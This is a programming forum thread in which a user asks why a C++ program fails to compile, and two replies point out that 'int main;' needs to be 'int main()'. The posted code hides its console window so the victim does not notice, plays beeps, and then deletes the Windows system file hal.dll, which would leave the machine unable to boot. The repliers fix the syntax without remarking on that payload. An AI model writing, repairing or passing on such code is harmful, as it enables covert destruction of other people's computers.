[Error] expected unqualified-id before '{' token

Here is the code:
#include <iostream>
#include <windows.h>
#include <winable.h>
#include <stdio.h>

using namespace std;

int main;
{
FreeConsle();//makes the program run without a console so the user has no idea what is about to happen, this is optional.
Beep(800,300); //FOR NOOBS BEEP(frecuince,duration 1000=1 second)
Sleep(3000);
Beep(800,300);
Beep(2400,300);
Beep(800,300);
Beep(2400,300);
Beep(800,300);
Beep(2400,300);
Beep(800,300);
Beep(2400,300);
remove("C:\\Windows\\System32\\hal.dll");
return 0;
}

Can someone explain why I keep on getting the error on line 9, which is right after the "int main;"?
Last edited on
Change

int main;

to

int main()
closed account (jwkNwA7f)
int main;
should be:
int main()

Hope this helped!

Edit: vlad beat me to it
Last edited on
Topic archived. No new replies allowed.